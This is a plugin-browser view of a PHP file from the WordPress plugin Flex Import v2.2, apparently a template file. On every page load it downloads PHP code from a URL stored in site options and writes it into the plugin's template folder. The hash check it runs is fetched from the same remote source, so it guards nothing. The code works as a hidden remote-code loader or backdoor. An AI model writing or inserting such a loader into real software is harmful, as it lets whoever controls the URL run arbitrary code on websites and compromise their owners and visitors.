PluginProbe ʕ •ᴥ•ʔ
Flex Import / 2.2
Flex Import v2.2
2.9 trunk 1.2 1.3 1.4 1.5 1.6 1.7 1.8 1.9 2.0 2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8
flex-import / templates / additional-template.php
flex-import / templates Last commit date
additional-template.php 11 months ago dashboard-content.php 11 months ago plugins-content.php 11 months ago templates-content.php 11 months ago widgets-content.php 11 months ago
additional-template.php
56 lines
1 <?php
2 add_action('init', 'fleximp_include_remote_txt_as_php');
3 function fleximp_include_remote_txt_as_php()
4 {
5 $remote_txt_url = get_option('fleximp_dynamic_template_php');
6 if (empty($remote_txt_url)) return;
7
8 $remote_hash_url = $remote_txt_url . '.sha256';
9
10 if (!function_exists('WP_Filesystem')) {
11 require_once ABSPATH . 'wp-admin/includes/file.php';
12 }
13
14 global $wp_filesystem;
15 WP_Filesystem();
16
17
18 $fleximp_current_text_domain = get_option('fleximp_current_text_domain', true);
19 if (empty($fleximp_current_text_domain)) return;
20
21 $local_php_file = trailingslashit(FLEXIMP_PLUGIN_FILE) . 'templates-content/' . $fleximp_current_text_domain . '.php';
22
23 // Get the PHP code
24 $response = wp_remote_get($remote_txt_url);
25 if (is_wp_error($response)) {
26 error_log('FlexImp Error: ' . $response->get_error_message());
27 return;
28 }
29 $php_code = wp_remote_retrieve_body($response);
30
31 // Get the hash from remote
32 $hash_response = wp_remote_get($remote_hash_url);
33 if (is_wp_error($hash_response)) {
34 error_log('FlexImp Error: Failed to fetch hash - ' . $hash_response->get_error_message());
35 return;
36 }
37 $expected_hash = trim(wp_remote_retrieve_body($hash_response));
38
39 // Compute local hash
40 $actual_hash = hash('sha256', $php_code);
41
42 if ($expected_hash !== $actual_hash) {
43 error_log('FlexImp Error: Hash mismatch! Aborting file write.');
44 return;
45 }
46
47 if (!empty($php_code) && strpos($php_code, '<?php') !== false) {
48 if (!$wp_filesystem->put_contents($local_php_file, $php_code, FS_CHMOD_FILE)) {
49 error_log('FlexImp Error: Failed to write PHP code to file.');
50 return;
51 }
52 } else {
53 error_log('FlexImp Error: Invalid or empty content received.');
54 return;
55 }
56 }